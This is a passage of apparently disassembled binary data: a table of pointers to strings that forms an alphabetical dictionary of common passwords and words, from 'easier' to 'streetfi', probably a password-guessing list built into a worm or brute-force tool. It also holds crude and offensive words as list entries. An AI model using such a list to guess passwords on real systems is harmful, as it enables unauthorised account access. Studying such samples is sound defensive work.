		dd offset aEasier	; "easier"
		dd offset aEasy		; "easy"
		dd offset aEatme	; "eatme"
		dd offset aEcho		; "echo"
off_430050	dd offset aEddie	; DATA XREF: _2:00427B70o
					; "eddie"
		dd offset aEdges	; "edges"
		dd offset aEdinburg	; "edinburg"
off_43005C	dd offset aEdit		; DATA XREF: _2:off_427A0Co
					; "edit"
		dd offset aEdition	; "edition"
		dd offset aEducation	; "education"
		dd offset aEducatio	; "educatio"
		dd offset aEdwin	; "edwin"
		dd offset aEdwina	; "edwina"
		dd offset aEgghead	; "egghead"
		dd offset aEiderdow	; "eiderdow"
		dd offset aEileen	; "eileen"
		dd offset aEinsiein	; "einsiein"
		dd offset aEinstein	; "einstein"
		dd offset aElaine	; "elaine"
		dd offset aElanor	; "elanor"
		dd offset aElectron	; "electron"
		dd offset aElephant	; "elephant"
		dd offset aElizabet	; "elizabet"
		dd offset aEllen	; "ellen"
		dd offset aEmail	; "email"
		dd offset aEmerald	; "emerald"
		dd offset aEmily	; "emily"
		dd offset aEmmanuel	; "emmanuel"
		dd offset aEnemy	; "enemy"
		dd offset aEngine	; "engine"
		dd offset aEngineer	; "engineer"
		dd offset aEngland	; "england"
		dd offset aEnglish	; "english"
		dd offset aEnter	; "enter"
		dd offset aEnterpri	; "enterpri"
		dd offset aEnzyme	; "enzyme"
		dd offset aErenity	; "erenity"
		dd offset aEric		; "eric"
		dd offset aErica	; "erica"
		dd offset aErika	; "erika"
		dd offset aErin		; "erin"
		dd offset aErotic	; "erotic"
		dd offset aErsatz	; "ersatz"
		dd offset aEstablis	; "establis"
		dd offset aEstate	; "estate"
		dd offset aEternity	; "eternity"
		dd offset aEuclid	; "euclid"
		dd offset aEvelyn	; "evelyn"
		dd offset aExpert	; "expert"
		dd offset aExplode	; "explode"
		dd offset aExplore	; "explore"
		dd offset aExplorer	; "explorer"
		dd offset aExplosiv	; "explosiv"
		dd offset aExtensio	; "extensio"
		dd offset aFairway	; "fairway"
		dd offset aFaith	; "faith"
		dd offset aFalcon	; "falcon"
		dd offset aFalse	; "false"
		dd offset aFamily	; "family"
		dd offset aFarad	; "farad"
		dd offset aFaraday	; "faraday"
		dd offset aFart		; "fart"
		dd offset aFast		; "fast"
		dd offset aFear		; "fear"
		dd offset aFeds		; "feds"
		dd offset aFelicia	; "felicia"
		dd offset aFender	; "fender"
		dd offset aFermat	; "fermat"
		dd offset aFerrari	; "ferrari"
		dd offset aFidelity	; "fidelity"
		dd offset aField	; "field"
		dd offset aFight	; "fight"
		dd offset aFile		; "file"
		dd offset aFinite	; "finite"
		dd offset aFire		; "fire"
		dd offset aFirewall	; "firewall"
		dd offset aFishers	; "fishers"
		dd offset aFlakes	; "flakes"
		dd offset aFloat	; "float"
		dd offset aFlorida	; "florida"
		dd offset aFlower	; "flower"
		dd offset aFlowers	; "flowers"
		dd offset aFood		; "food"
		dd offset aFool		; "fool"
		dd offset aFoolproo	; "foolproo"
		dd offset aFootball	; "football"
		dd offset aForce	; "force"
		dd offset aFord		; "ford"
		dd offset aForesigh	; "foresigh"
		dd offset aForever	; "forever"
		dd offset aForm		; "form"
		dd offset aFormat	; "format"
		dd offset aFornicat	; "fornicat"
		dd offset aForsythe	; "forsythe"
		dd offset aFourier	; "fourier"
		dd offset aFoxtrot	; "foxtrot"
		dd offset aFrance	; "france"
		dd offset aFrank	; "frank"
		dd offset aFreak	; "freak"
		dd offset aFred		; "fred"
		dd offset aFree		; "free"
		dd offset aFreedom	; "freedom"
		dd offset aFrench	; "french"
		dd offset aFriday	; "friday"
		dd offset aFriend	; "friend"
		dd offset aFriends	; "friends"
		dd offset aFrighten	; "frighten"
		dd offset aFrog		; "frog"
		dd offset aFryguy	; "fryguy"
		dd offset aFuck		; "fuck"
		dd offset aFucker	; "fucker"
		dd offset aFucking	; "fucking"
		dd offset aFuckme	; "fuckme"
		dd offset aFuckyou	; "fuckyou"
		dd offset aFudge	; "fudge"
		dd offset aFunction	; "function"
		dd offset aFungible	; "fungible"
		dd offset aGabriel	; "gabriel"
		dd offset aGames	; "games"
		dd offset aGardner	; "gardner"
		dd offset aGarfield	; "garfield"
		dd offset aGateway	; "gateway"
		dd offset aGatherin	; "gatherin"
		dd offset aGatt		; "gatt"
		dd offset aGauss	; "gauss"
		dd offset aGeorge	; "george"
		dd offset aGerm		; "germ"
		dd offset aGertrude	; "gertrude"
		dd offset aGhost	; "ghost"
		dd offset aGibson	; "gibson"
		dd offset aGigabyte	; "gigabyte"
		dd offset aGina		; "gina"
		dd offset aGinger	; "ginger"
		dd offset aGirl		; "girl"
		dd offset aGlacier	; "glacier"
		dd offset aGold		; "gold"
		dd offset aGolden	; "golden"
		dd offset aGolf		; "golf"
		dd offset aGolfer	; "golfer"
		dd offset aGood		; "good"
		dd offset aGorgeous	; "gorgeous"
		dd offset aGorges	; "gorges"
		dd offset aGosling	; "gosling"
		dd offset aGouge	; "gouge"
		dd offset aGovermen	; "govermen"
		dd offset aGrades	; "grades"
		dd offset aGraham	; "graham"
		dd offset aGrahm	; "grahm"
		dd offset aGrand	; "grand"
		dd offset aGrant	; "grant"
		dd offset aGreat	; "great"
		dd offset aGreen	; "green"
		dd offset aGroup	; "group"
		dd offset aGryphon	; "gryphon"
		dd offset aGuardian	; "guardian"
		dd offset aGucci	; "gucci"
		dd offset aGuess	; "guess"
		dd offset aGuitar	; "guitar"
		dd offset aGumption	; "gumption"
		dd offset aGuntis	; "guntis"
		dd offset aHack		; "hack"
		dd offset aHacked	; "hacked"
		dd offset aHagar	; "hagar"
		dd offset aHair		; "hair"
		dd offset aHallowee	; "hallowee"
		dd offset aHamlet	; "hamlet"
		dd offset aHamster	; "hamster"
		dd offset aHandel	; "handel"
		dd offset aHandily	; "handily"
		dd offset aHandjob	; "handjob"
		dd offset aHappenin	; "happenin"
		dd offset aHard		; "hard"
		dd offset aHardcore	; "hardcore"
		dd offset aHarddriv	; "harddriv"
		dd offset aHarmony	; "harmony"
		dd offset aHarold	; "harold"
		dd offset aHarvey	; "harvey"
		dd offset aHate		; "hate"
		dd offset aHaven	; "haven"
		dd offset aHawaii	; "hawaii"
		dd offset aHead		; "head"
		dd offset aHeadbang	; "headbang"
		dd offset aHeat		; "heat"
		dd offset aHeathen	; "heathen"
		dd offset aHeather	; "heather"
		dd offset aHebrides	; "hebrides"
		dd offset aHeidi	; "heidi"
		dd offset aHeinlein	; "heinlein"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aHelp		; "help"
		dd offset aHerb		; "herb"
		dd offset aHerbert	; "herbert"
		dd offset aHero		; "hero"
		dd offset aHeroin	; "heroin"
		dd offset aHewlett	; "hewlett"
		dd offset aHexadeci	; "hexadeci"
		dd offset aHiawatha	; "hiawatha"
		dd offset aHibernia	; "hibernia"
		dd offset aHidden	; "hidden"
		dd offset aHigh		; "high"
		dd offset aHighland	; "highland"
		dd offset aHitler	; "hitler"
		dd offset aHits		; "hits"
		dd offset aHole		; "hole"
		dd offset aHolly	; "holly"
		dd offset aHollywoo	; "hollywoo"
		dd offset aHomepage	; "homepage"
		dd offset aHomer	; "homer"
		dd offset aHomework	; "homework"
		dd offset aHoney	; "honey"
		dd offset aHooker	; "hooker"
		dd offset aHooters	; "hooters"
		dd offset aHorny	; "horny"
		dd offset aHorrible	; "horrible"
		dd offset aHorror	; "horror"
		dd offset aHorse	; "horse"
		dd offset aHorus	; "horus"
		dd offset aHost		; "host"
		dd offset aHotdog	; "hotdog"
		dd offset aHotel	; "hotel"
		dd offset aHttp_0	; "http"
		dd offset aHunt		; "hunt"
		dd offset aHunter	; "hunter"
		dd offset aHutchins	; "hutchins"
		dd offset aHydrogen	; "hydrogen"
		dd offset aHyper	; "hyper"
		dd offset aHypertxt	; "hypertxt"
		dd offset aIcecream	; "icecream"
		dd offset aIllumina	; "illumina"
		dd offset aImage	; "image"
		dd offset aImbrogli	; "imbrogli"
		dd offset aImmortal	; "immortal"
		dd offset aImperial	; "imperial"
		dd offset aInclude	; "include"
		dd offset aIndia	; "india"
		dd offset aIndian	; "indian"
		dd offset aIndiana	; "indiana"
		dd offset aIndians	; "indians"
		dd offset aIngres	; "ingres"
		dd offset aIngress	; "ingress"
		dd offset aIngrid	; "ingrid"
		dd offset aInna		; "inna"
		dd offset aInnocuou	; "innocuou"
		dd offset aInput	; "input"
		dd offset aInside	; "inside"
		dd offset aInteger	; "integer"
		dd offset aInvent	; "invent"
		dd offset aIrene	; "irene"
		dd offset aIrishman	; "irishman"
		dd offset aIsis		; "isis"
		dd offset aJackie	; "jackie"
		dd offset aJail		; "jail"
		dd offset aJane		; "jane"
		dd offset aJanet	; "janet"
		dd offset aJanice	; "janice"
		dd offset aJanie	; "janie"
		dd offset aJapan	; "japan"
		dd offset aJasmin	; "jasmin"
		dd offset aJava		; "java"
		dd offset aJazz		; "jazz"
		dd offset aJean		; "jean"
		dd offset aJeanne	; "jeanne"
		dd offset aJeff		; "jeff"
		dd offset aJenni	; "jenni"
		dd offset aJennifer	; "jennifer"
		dd offset aJenny	; "jenny"
		dd offset aJerry	; "jerry"
		dd offset aJerusale	; "jerusale"
		dd offset aJessica	; "jessica"
		dd offset aJester	; "jester"
		dd offset aJewelry	; "jewelry"
		dd offset aJill		; "jill"
		dd offset aJixian	; "jixian"
		dd offset aJoanne	; "joanne"
		dd offset aJody		; "jody"
		dd offset aJohn		; "john"
		dd offset aJohndoe	; "johndoe"
		dd offset aJohnny	; "johnny"
		dd offset aJoseph	; "joseph"
		dd offset aJoshua	; "joshua"
		dd offset aJournal	; "journal"
		dd offset aJoyce	; "joyce"
		dd offset aJudith	; "judith"
		dd offset aJudy		; "judy"
		dd offset aJuggle	; "juggle"
		dd offset aJuicy	; "juicy"
		dd offset aJulia	; "julia"
		dd offset aJulie	; "julie"
		dd offset aJuliet	; "juliet"
		dd offset aJune		; "june"
		dd offset aJupiter	; "jupiter"
		dd offset aKaka		; "kaka"
		dd offset aKaren	; "karen"
		dd offset aKarie	; "karie"
		dd offset aKarina	; "karina"
		dd offset aKatana	; "katana"
		dd offset aKate		; "kate"
		dd offset aKathleen	; "kathleen"
		dd offset aKathrine	; "kathrine"
		dd offset aKathy	; "kathy"
		dd offset aKatina	; "katina"
		dd offset aKatrina	; "katrina"
		dd offset aKelly	; "kelly"
		dd offset aKeri		; "keri"
		dd offset aKermit	; "kermit"
		dd offset aKernel	; "kernel"
		dd offset aKerri	; "kerri"
		dd offset aKerrie	; "kerrie"
		dd offset aKerry	; "kerry"
		dd offset aKevin	; "kevin"
		dd offset aKewl		; "kewl"
		dd offset aKeybord	; "keybord"
		dd offset aKeyin	; "keyin"
		dd offset aKeyword	; "keyword"
		dd offset aKids		; "kids"
		dd offset aKill		; "kill"
		dd offset aKillthem	; "killthem"
		dd offset aKilo		; "kilo"
		dd offset aKimberly	; "kimberly"
		dd offset aKing		; "king"
		dd offset aKirk		; "kirk"
		dd offset aKirkland	; "kirkland"
		dd offset aKiss		; "kiss"
		dd offset aKissmyas	; "kissmyas"
		dd offset aKitten	; "kitten"
		dd offset aKlingon	; "klingon"
		dd offset aKnife	; "knife"
		dd offset aKnight	; "knight"
		dd offset aKnightma	; "knightma"
		dd offset aKnown	; "known"
		dd offset aKrista	; "krista"
		dd offset aKristen	; "kristen"
		dd offset aKristi	; "kristi"
		dd offset aKristie	; "kristie"
		dd offset aKristin	; "kristin"
		dd offset aKristine	; "kristine"
		dd offset aKristy	; "kristy"
		dd offset aLadies	; "ladies"
		dd offset aLadle	; "ladle"
		dd offset aLakers	; "lakers"
		dd offset aLambda	; "lambda"
		dd offset aLaminati	; "laminati"
		dd offset aLana		; "lana"
		dd offset aLaptop	; "laptop"
		dd offset aLara		; "lara"
		dd offset aLarkin	; "larkin"
		dd offset aLarry	; "larry"
		dd offset aLaser	; "laser"
		dd offset aLaura	; "laura"
		dd offset aLava		; "lava"
		dd offset aLazarus	; "lazarus"
		dd offset aLazer	; "lazer"
		dd offset aLeah		; "leah"
		dd offset aLebesgue	; "lebesgue"
		dd offset aLeft		; "left"
		dd offset aLeftwing	; "leftwing"
		dd offset aLegal	; "legal"
		dd offset aLeland	; "leland"
		dd offset aLeroy	; "leroy"
		dd offset aLesbian	; "lesbian"
		dd offset aLeslie	; "leslie"
		dd offset aLetmein	; "letmein"
		dd offset aLewis	; "lewis"
		dd offset aLexluthe	; "lexluthe"
		dd offset aLiberal	; "liberal"
		dd offset aLibrary	; "library"
		dd offset aLick		; "lick"
		dd offset aLicker	; "licker"
		dd offset aLife		; "life"
		dd offset aLight	; "light"
		dd offset aLightsab	; "lightsab"
		dd offset aLima		; "lima"
		dd offset aLimbaugh	; "limbaugh"
		dd offset aLimited	; "limited"
		dd offset aLinda	; "linda"
		dd offset aLink		; "link"
		dd offset aLion		; "lion"
		dd offset aLips		; "lips"
		dd offset aLisa		; "lisa"
		dd offset aLisp		; "lisp"
		dd offset aLiteratu	; "literatu"
		dd offset aLive		; "live"
		dd offset aLoad		; "load"
		dd offset aLock		; "lock"
		dd offset aLockout	; "lockout"
		dd offset aLockword	; "lockword"
		dd offset aLogic	; "logic"
		dd offset aLoginwor	; "loginwor"
		dd offset aLogout	; "logout"
		dd offset aLois		; "lois"
		dd offset aLolopc	; "lolopc"
		dd offset aLoose	; "loose"
		dd offset aLore		; "lore"
		dd offset aLori		; "lori"
		dd offset aLorin	; "lorin"
		dd offset aLorraine	; "lorraine"
		dd offset aLoser	; "loser"
		dd offset aLouis	; "louis"
		dd offset aLovebug	; "lovebug"
		dd offset aLover	; "lover"
		dd offset aLuck		; "luck"
		dd offset aLucus	; "lucus"
		dd offset aLucy		; "lucy"
		dd offset aLude		; "lude"
		dd offset aLuke		; "luke"
		dd offset aLust		; "lust"
		dd offset aLynn		; "lynn"
		dd offset aLynne	; "lynne"
		dd offset aMachine	; "machine"
		dd offset aMacintos	; "macintos"
		dd offset aMack		; "mack"
		dd offset aMacro	; "macro"
		dd offset aMaggot	; "maggot"
		dd offset aMagic	; "magic"
		dd offset aMagnet	; "magnet"
		dd offset aMail		; "mail"
		dd offset aMaint	; "maint"
		dd offset aMalcolm	; "malcolm"
		dd offset aMalcom	; "malcom"
		dd offset aMana		; "mana"
		dd offset aManager	; "manager"
		dd offset aMara		; "mara"
		dd offset aMarci	; "marci"
		dd offset aMarcy	; "marcy"
		dd offset aMaria	; "maria"
		dd offset aMariens	; "mariens"
		dd offset aMarietta	; "marietta"
		dd offset aMarijuan	; "marijuan"
		dd offset aMarines	; "marines"
		dd offset aMark		; "mark"
		dd offset aMarkus	; "markus"
		dd offset aMarni	; "marni"
		dd offset aMarriage	; "marriage"
		dd offset aMars		; "mars"
		dd offset aMarty	; "marty"
		dd offset aMarvin	; "marvin"
		dd offset aMary		; "mary"
		dd offset aMason	; "mason"
		dd offset aMaster	; "master"
		dd offset aMath		; "math"
		dd offset aMaurice	; "maurice"
		dd offset aMeagan	; "meagan"
		dd offset aMegabyte	; "megabyte"
		dd offset aMegadeth	; "megadeth"
		dd offset aMegan	; "megan"
		dd offset aMelissa	; "melissa"
		dd offset aMellon	; "mellon"
		dd offset aMelrose	; "melrose"
		dd offset aMember	; "member"
		dd offset aMemory	; "memory"
		dd offset aMenace	; "menace"
		dd offset aMenu		; "menu"
		dd offset aMercury	; "mercury"
		dd offset aMerlin	; "merlin"
		dd offset aMetal	; "metal"
		dd offset aMetalhea	; "metalhea"
		dd offset aMetalica	; "metalica"
		dd offset aMets		; "mets"
		dd offset aMice		; "mice"
		dd offset aMichael	; "michael"
		dd offset aMichel	; "michel"
		dd offset aMichelan	; "michelan"
		dd offset aMichele	; "michele"
		dd offset aMichelle	; "michelle"
		dd offset aMickey	; "mickey"
		dd offset aMicro	; "micro"
		dd offset aMicrochi	; "microchi"
		dd offset aMicropro	; "micropro"
		dd offset aMicrosof	; "microsof"
		dd offset aMidieval	; "midieval"
		dd offset aMike		; "mike"
		dd offset aMine		; "mine"
		dd offset aMinimum	; "minimum"
		dd offset aMinsky	; "minsky"
		dd offset aMisfit	; "misfit"
		dd offset aMission	; "mission"
		dd offset aMkii		; "mkii"
		dd offset aMode		; "mode"
		dd offset aModem	; "modem"
		dd offset aMogul	; "mogul"
		dd offset aMoguls	; "moguls"
		dd offset aMonday	; "monday"
		dd offset aMonica	; "monica"
		dd offset aMoom		; "moom"
		dd offset aMoor		; "moor"
		dd offset aMoose	; "moose"
		dd offset aMore		; "more"
		dd offset aMorley	; "morley"
		dd offset aMorris	; "morris"
		dd offset aMortal	; "mortal"
		dd offset aMortalco	; "mortalco"
		dd offset aMortgage	; "mortgage"
		dd offset aMosaic	; "mosaic"
		dd offset aMountain	; "mountain"
		dd offset aMouse	; "mouse"
		dd offset aMove		; "move"
		dd offset aMovie	; "movie"
		dd offset aMovies	; "movies"
		dd offset aMozart	; "mozart"
		dd offset aMpeg		; "mpeg"
		dd offset aMsdos	; "msdos"
		dd offset aMuppets	; "muppets"
		dd offset aMutant	; "mutant"
		dd offset aNagel	; "nagel"
		dd offset aName		; "name"
		dd offset aNancy	; "nancy"
		dd offset aNapoleon	; "napoleon"
		dd offset aNasa		; "nasa"
		dd offset aNavy		; "navy"
		dd offset aNepenthe	; "nepenthe"
		dd offset aNeptune	; "neptune"
		dd offset aNess		; "ness"
		dd offset aNetscape	; "netscape"
		dd offset aNetwork_0	; "network"
		dd offset aNewborn	; "newborn"
		dd offset aNews		; "news"
		dd offset aNewsgrou	; "newsgrou"
		dd offset aNewton	; "newton"
		dd offset aNewyork	; "newyork"
		dd offset aNext		; "next"
		dd offset aNice		; "nice"
		dd offset aNicole	; "nicole"
		dd offset aNicotine	; "nicotine"
		dd offset aNight	; "night"
		dd offset aNightmar	; "nightmar"
		dd offset aNintendo	; "nintendo"
		dd offset aNita		; "nita"
		dd offset aNnaacp	; "nnaacp"
		dd offset aNoble	; "noble"
		dd offset aNobody	; "nobody"
		dd offset aNode		; "node"
		dd offset aNoreen	; "noreen"
		dd offset aNotes	; "notes"
		dd offset aNoth		; "noth"
		dd offset aNova		; "nova"
		dd offset aNovel	; "novel"
		dd offset aNovember	; "november"
		dd offset aNoxious	; "noxious"
		dd offset aNuclear	; "nuclear"
		dd offset aNude		; "nude"
		dd offset aNuke		; "nuke"
		dd offset aNukem	; "nukem"
		dd offset aNull_1	; "null"
		dd offset aNumber	; "number"
		dd offset aNutritio	; "nutritio"
		dd offset aNuts		; "nuts"
		dd offset aNyquist	; "nyquist"
		dd offset aObscurit	; "obscurit"
		dd offset aOceanogr	; "oceanogr"
		dd offset aOcelot	; "ocelot"
		dd offset aOffice	; "office"
		dd offset aOkay		; "okay"
		dd offset aOldage	; "oldage"
		dd offset aOlivetti	; "olivetti"
		dd offset aOlivia	; "olivia"
		dd offset aOmega	; "omega"
		dd offset aOpen		; "open"
		dd offset aOpening	; "opening"
		dd offset aOpenlock	; "openlock"
		dd offset aOpensesa	; "opensesa"
		dd offset aOperator	; "operator"
		dd offset aOrca		; "orca"
		dd offset aOrient	; "orient"
		dd offset aOrwell	; "orwell"
		dd offset aOscar	; "oscar"
		dd offset aOsiris	; "osiris"
		dd offset aOutdoors	; "outdoors"
		dd offset aOutlaw	; "outlaw"
		dd offset aOutput	; "output"
		dd offset aOutside	; "outside"
		dd offset aOxford	; "oxford"
		dd offset aPacific	; "pacific"
		dd offset aPackard	; "packard"
		dd offset aPacker	; "packer"
		dd offset aPainless	; "painless"
		dd offset aPaint	; "paint"
		dd offset aPakistan	; "pakistan"
		dd offset aPamela	; "pamela"
		dd offset aPapa		; "papa"
		dd offset aPaper	; "paper"
		dd offset aPapers	; "papers"
		dd offset aPascal	; "pascal"
		dd offset aPassphra	; "passphra"
		dd offset aPaste	; "paste"
		dd offset aPatricia	; "patricia"
		dd offset aPatriot	; "patriot"
		dd offset aPatty	; "patty"
		dd offset aPaula	; "paula"
		dd offset aPeanuts	; "peanuts"
		dd offset aPecker	; "pecker"
		dd offset aPencil	; "pencil"
		dd offset aPenelope	; "penelope"
		dd offset aPenguin	; "penguin"
		dd offset aPenis	; "penis"
		dd offset aPenname	; "penname"
		dd offset aPentagon	; "pentagon"
		dd offset aPentagra	; "pentagra"
		dd offset aPenthous	; "penthous"
		dd offset aPentium	; "pentium"
		dd offset aPeoria	; "peoria"
		dd offset aPepper	; "pepper"
		dd offset aPercolat	; "percolat"
		dd offset aPerfect	; "perfect"
		dd offset aPermit	; "permit"
		dd offset aPersimmo	; "persimmo"
		dd offset aPersona	; "persona"
		dd offset aPervert	; "pervert"
		dd offset aPete		; "pete"
		dd offset aPeter	; "peter"
		dd offset aPhil		; "phil"
		dd offset aPhilip	; "philip"
		dd offset aPhoenix	; "phoenix"
		dd offset aPhone	; "phone"
		dd offset aPhoton	; "photon"
		dd offset aPhrack	; "phrack"
		dd offset aPhrase	; "phrase"
		dd offset aPhreak	; "phreak"
		dd offset aPhuck	; "phuck"
		dd offset aPick		; "pick"
		dd offset aPierre	; "pierre"
		dd offset aPimp		; "pimp"
		dd offset aPinname	; "pinname"
		dd offset aPiss		; "piss"
		dd offset aPizza	; "pizza"
		dd offset aPlane	; "plane"
		dd offset aPlayboy	; "playboy"
		dd offset aPlover	; "plover"
		dd offset aPluto	; "pluto"
		dd offset aPlymouth	; "plymouth"
		dd offset aPoetry	; "poetry"
		dd offset aPolice	; "police"
		dd offset aPolly	; "polly"
		dd offset aPolynomi	; "polynomi"
		dd offset aPonderin	; "ponderin"
		dd offset aPoop		; "poop"
		dd offset aPoor		; "poor"
		dd offset aPork		; "pork"
		dd offset aPorn		; "porn"
		dd offset aPorno	; "porno"
		dd offset aPorsche	; "porsche"
		dd offset aPost		; "post"
		dd offset aPoster	; "poster"
		dd offset aPower	; "power"
		dd offset aPraise	; "praise"
		dd offset aPrecious	; "precious"
		dd offset aPrelude	; "prelude"
		dd offset aPresto	; "presto"
		dd offset aPrince	; "prince"
		dd offset aPrinceto	; "princeto"
		dd offset aPrinter	; "printer"
		dd offset aPriv		; "priv"
		dd offset aPrivate	; "private"
		dd offset aPrivs	; "privs"
		dd offset aProceed	; "proceed"
		dd offset aProcesso	; "processo"
		dd offset aProfesso	; "professo"
		dd offset aProfile	; "profile"
		dd offset aProgram	; "program"
		dd offset aPrompt	; "prompt"
		dd offset aProtect	; "protect"
		dd offset aProtozoa	; "protozoa"
		dd offset aPsycho	; "psycho"
		dd offset aPsychopa	; "psychopa"
		dd offset aPublic	; "public"
		dd offset aPuck		; "puck"
		dd offset aPuke		; "puke"
		dd offset aPumpkin	; "pumpkin"
		dd offset aPuneet	; "puneet"
		dd offset aPunisher	; "punisher"
		dd offset aPunk		; "punk"
		dd offset aPuppet	; "puppet"
		dd offset aPussy	; "pussy"
		dd offset aQuebec	; "quebec"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aRabbit	; "rabbit"
		dd offset aRachel	; "rachel"
		dd offset aRachelle	; "rachelle"
		dd offset aRachmani	; "rachmani"
		dd offset aRaid		; "raid"
		dd offset aRain		; "rain"
		dd offset aRainbow	; "rainbow"
		dd offset aRaindrop	; "raindrop"
		dd offset aRaleigh	; "raleigh"
		dd offset aRandom	; "random"
		dd offset aRape		; "rape"
		dd offset aRascal	; "rascal"
		dd offset aRazor	; "razor"
		dd offset aReagan	; "reagan"
		dd offset aReality	; "reality"
		dd offset aReally	; "really"
		dd offset aReam		; "ream"
		dd offset aReaper	; "reaper"
		dd offset aRebal	; "rebal"
		dd offset aRebecca	; "rebecca"
		dd offset aRebel	; "rebel"
		dd offset aRecord	; "record"
		dd offset aReddawn	; "reddawn"
		dd offset aRedhead	; "redhead"
		dd offset aReferenc	; "referenc"
		dd offset aRegional	; "regional"
		dd offset aRelease	; "release"
		dd offset aRemote	; "remote"
		dd offset aRenee	; "renee"
		dd offset aReno		; "reno"
		dd offset aRent		; "rent"
		dd offset aReport	; "report"
		dd offset aRepublic	; "republic"
		dd offset aResistan	; "resistan"
		dd offset aReveal	; "reveal"
		dd offset aRhino	; "rhino"
		dd offset aRich		; "rich"
		dd offset aRick		; "rick"
		dd offset aRiffraff	; "riffraff"
		dd offset aRight	; "right"
		dd offset aRightwin	; "rightwin"
		dd offset aRing		; "ring"
		dd offset aRiot		; "riot"
		dd offset aRipple	; "ripple"
		dd offset aRisc		; "risc"
		dd offset aRoach	; "roach"
		dd offset aRobert	; "robert"
		dd offset aRobin	; "robin"
		dd offset aRobot	; "robot"
		dd offset aRobotics	; "robotics"
		dd offset aRobyn	; "robyn"
		dd offset aRochelle	; "rochelle"
		dd offset aRocheste	; "rocheste"
		dd offset aRock		; "rock"
		dd offset aRocky	; "rocky"
		dd offset aRockyhor	; "rockyhor"
		dd offset aRodent	; "rodent"
		dd offset aRolex	; "rolex"
		dd offset aRomano	; "romano"
		dd offset aRomeo	; "romeo"
		dd offset aRomulan	; "romulan"
		dd offset aRonald	; "ronald"
		dd offset aRose		; "rose"
		dd offset aRosebud	; "rosebud"
		dd offset aRosemary	; "rosemary"
		dd offset aRoses	; "roses"
		dd offset aRough	; "rough"
		dd offset aRubber	; "rubber"
		dd offset aRuben	; "ruben"
		dd offset aRuby		; "ruby"
		dd offset aRude		; "rude"
		dd offset aRules	; "rules"
		dd offset aRunning_0	; "running"
		dd offset aRush		; "rush"
		dd offset aRuth		; "ruth"
		dd offset aSafe		; "safe"
		dd offset aSalami	; "salami"
		dd offset aSale		; "sale"
		dd offset aSalt		; "salt"
		dd offset aSamantha	; "samantha"
		dd offset aSample	; "sample"
		dd offset aSandra	; "sandra"
		dd offset aSandy	; "sandy"
		dd offset aSara		; "sara"
		dd offset aSarah	; "sarah"
		dd offset aSaturday	; "saturday"
		dd offset aSaturn	; "saturn"
		dd offset aSaxon	; "saxon"
		dd offset aScamper	; "scamper"
		dd offset aScheme	; "scheme"
		dd offset aSchool	; "school"
		dd offset aSchoolsucks	; "schoolsucks"
		dd offset aScifi	; "scifi"
		dd offset aScorpion	; "scorpion"
		dd offset aScott	; "scott"
		dd offset aScotty	; "scotty"
		dd offset aScout	; "scout"
		dd offset aSearch	; "search"
		dd offset aSecurity	; "security"
		dd offset aSeed		; "seed"
		dd offset aSega		; "sega"
		dd offset aSensor	; "sensor"
		dd offset aSentinel	; "sentinel"
		dd offset aSentry	; "sentry"
		dd offset aSerenity	; "serenity"
		dd offset aSerial_0	; "serial"
		dd offset aService	; "service"
		dd offset aSesame	; "sesame"
		dd offset aSexy		; "sexy"
		dd offset aShannon	; "shannon"
		dd offset aSharc	; "sharc"
		dd offset aShark	; "shark"
		dd offset aSharks	; "sharks"
		dd offset aSharon	; "sharon"
		dd offset aSheffiel	; "sheffiel"
		dd offset aSheldon	; "sheldon"
		dd offset aShell	; "shell"
		dd offset aSherri	; "sherri"
		dd offset aShift	; "shift"
		dd offset aShirley	; "shirley"
		dd offset aShit		; "shit"
		dd offset aShitpot	; "shitpot"
		dd offset aShiva	; "shiva"
		dd offset aShivers	; "shivers"
		dd offset aShort	; "short"
		dd offset aShuttle	; "shuttle"
		dd offset aSick		; "sick"
		dd offset aSierra	; "sierra"
		dd offset aSignatur	; "signatur"
		dd offset aSilver	; "silver"
		dd offset aSimcity	; "simcity"
		dd offset aSimon	; "simon"
		dd offset aSimple	; "simple"
		dd offset aSimpsons	; "simpsons"
		dd offset aSimulati	; "simulati"
		dd offset aSinger	; "singer"
		dd offset aSingle	; "single"
		dd offset aSite		; "site"
		dd offset aSkull	; "skull"
		dd offset aSlave	; "slave"
		dd offset aSlick	; "slick"
		dd offset aSliders	; "sliders"
		dd offset aSlow		; "slow"
		dd offset aSlut		; "slut"
		dd offset aSmall	; "small"
		dd offset aSmart	; "smart"
		dd offset aSmile	; "smile"
		dd offset aSmiles	; "smiles"
		dd offset aSmooch	; "smooch"
		dd offset aSmother	; "smother"
		dd offset aSmtp		; "smtp"
		dd offset aSmut		; "smut"
		dd offset aSnach	; "snach"
		dd offset aSnafu	; "snafu"
		dd offset aSnake	; "snake"
		dd offset aSnatch	; "snatch"
		dd offset aSnoopy	; "snoopy"
		dd offset aSoap		; "soap"
		dd offset aSocial	; "social"
		dd offset aSocrates	; "socrates"
		dd offset aSodomy	; "sodomy"
		dd offset aSoft		; "soft"
		dd offset aSoftware	; "software"
		dd offset aSomebody	; "somebody"
		dd offset aSondra	; "sondra"
		dd offset aSonia	; "sonia"
		dd offset aSonic	; "sonic"
		dd offset aSonya	; "sonya"
		dd offset aSossina	; "sossina"
		dd offset aSource	; "source"
		dd offset aSouth	; "south"
		dd offset aSpaceshi	; "spaceshi"
		dd offset aSparrows	; "sparrows"
		dd offset aSpear	; "spear"
		dd offset aSpell	; "spell"
		dd offset aSpice	; "spice"
		dd offset aSpider	; "spider"
		dd offset aSpiderma	; "spiderma"
		dd offset aSpit		; "spit"
		dd offset aSpred	; "spred"
		dd offset aSpring	; "spring"
		dd offset aSpringer	; "springer"
		dd offset aSpunk	; "spunk"
		dd offset aSquires	; "squires"
		dd offset aSr71		; "sr71"
		dd offset aStacey	; "stacey"
		dd offset aStaci	; "staci"
		dd offset aStacie	; "stacie"
		dd offset aStacy	; "stacy"
		dd offset aStar		; "star"
		dd offset aStarship	; "starship"
		dd offset aStart	; "start"
		dd offset aStartrek	; "startrek"
		dd offset aStartup	; "startup"
		dd offset aStarwars	; "starwars"
		dd offset aSteak	; "steak"
		dd offset aSteal	; "steal"
		dd offset aSteel	; "steel"
		dd offset aSteph	; "steph"
		dd offset aStephani	; "stephani"
		dd offset aStereo	; "stereo"
		dd offset aSteve	; "steve"
		dd offset aStoneage	; "stoneage"
		dd offset aStoned	; "stoned"
		dd offset aStones	; "stones"
		dd offset aStrange	; "strange"
		dd offset aStrangle	; "strangle"
		dd offset aStratfor	; "stratfor"
		dd offset aStreetfi	; "streetfi"
